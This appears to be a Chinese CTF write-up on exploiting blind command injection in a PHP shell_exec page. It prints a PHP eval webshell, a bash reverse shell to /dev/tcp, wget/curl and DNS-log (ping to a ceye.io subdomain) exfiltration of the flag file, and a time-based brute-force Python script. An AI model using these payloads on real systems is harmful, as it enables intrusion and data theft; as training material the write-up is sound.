命令执行是一种危害比较大的漏洞,但是遇到没有回显的命令执行时,就会比较尴尬。一是难以确认漏洞是否存在,二是难以获取信息。
下面讲述两种情况下无回显的命令执行的利用。
服务器联网
当服务器联网的时候,第一想法就是将信息传出或者写入shell。但是常常由于权限不够或其他限制而无法实现。
从一道比较简单的ctf题入手。
题目给出了源代码:
1 2 3 4 5 6 7 8 9 10 11 12 <?php if (!isset ($_REQUEST ['command' ])) { show_source (__FILE__ ); die (); }$command = $_REQUEST ['command' ];shell_exec ('timeout 4 ' .$command );?>
可以看到存在shell_exec函数,很明显的命令执行漏洞。
一开始就想到写入webshell。
构造payload:
1 | echo ' <?php @eval ($_POST ["jingzhe" ]); ?> ' > shell_jingzhe.php
访问发现404,可知当前目录无写入权限。
尝试反弹shell。
构造payload:
1 |bash -i >& /dev/ tcp/**.**.**.**/ 1234 0 >&1
反弹shell发现也无效。可知无法通过shell直接获取flag。
想了想是否可以通过构造http请求,从而将flag发送出来呢。
在vps上建立记录脚本:
1 2 3 4 5 6 7 <?php $data =$_GET ['jingzhe' ];echo $data ;$f = fopen ("data.txt" , "w" );fwrite ($f ,$data );fclose ($f );?>
构造请求:
1 2 wget http:// **.**.**.**/index.php?jingzhe=`cat / flag` curl http:// **.**.**.**/index.php?jingzhe=`cat / flag`
从服务器的记录上可以发现,http请求也被限制了或者无权限/没有wget/curl。
这样就很难将信息从服务器上发送出来,只能进行枚举,相当费时。
利用Google,查询到一种比较冷门但是非常实用的一种方法——DNSlog。
原理如下:
DNS在解析的时候会留下日志,咱们这个就是读取多级域名的解析日志,来获取信息。
简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息。
例如我们自己的域名是:jingzhe.name
那么我们把信息放在二级域名处,textxxxxxx.jingzhe.name
想方法发起这个域名解析请求,那么那边就能收到textxxxxxxx这个信息了。
此处推荐一个免费的DNSLOG平台:ceye.io
然后就可以构造ping请求,通过DNSlog获取到flag。
payload:
1 |ping -c 1 `cat /flag`.2 mmfxc.ceye.io
获取到解析日志如下:
Flag:
1 flag {a46b7c31-d6fc-4655 -81 ea-f6ad02738a70}
服务器未联网
服务器未联网,无写入权限。无法getshell等一系列操作,只能通过枚举/二分查找暴力查询flag。
构造脚本遍历:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import requestsimport re flag_format = re.compile ('flag\\{[0-9a-z]{8}-[0-9a-z]{4}-[0-9a-z]{4}-[0-9a-z]{4}-[0-9a-z]{12}\\}' ) all_letter = '-}0123456789abcdefghijklmnopqrstuvwxyz' def get_flag (command ): try : r = requests.get('http://web.train.lilac.com:10008/' , params={'command' : command}, timeout=1.5 ) except : return True return False if __name__ == '__main__' : flag = 'flag{' while flag_format.match(flag) == None : staus = 0 for i in all_letter: payload = '| cat /flag | grep %s && sleep 1.8' % (flag + i) print (payload) if get_flag(payload): staus = 1 flag += i print (flag) break if staus == 0 : flag = flag[0 :-1 ]
由于只设置超时,会出现死循环,故加入自动修正。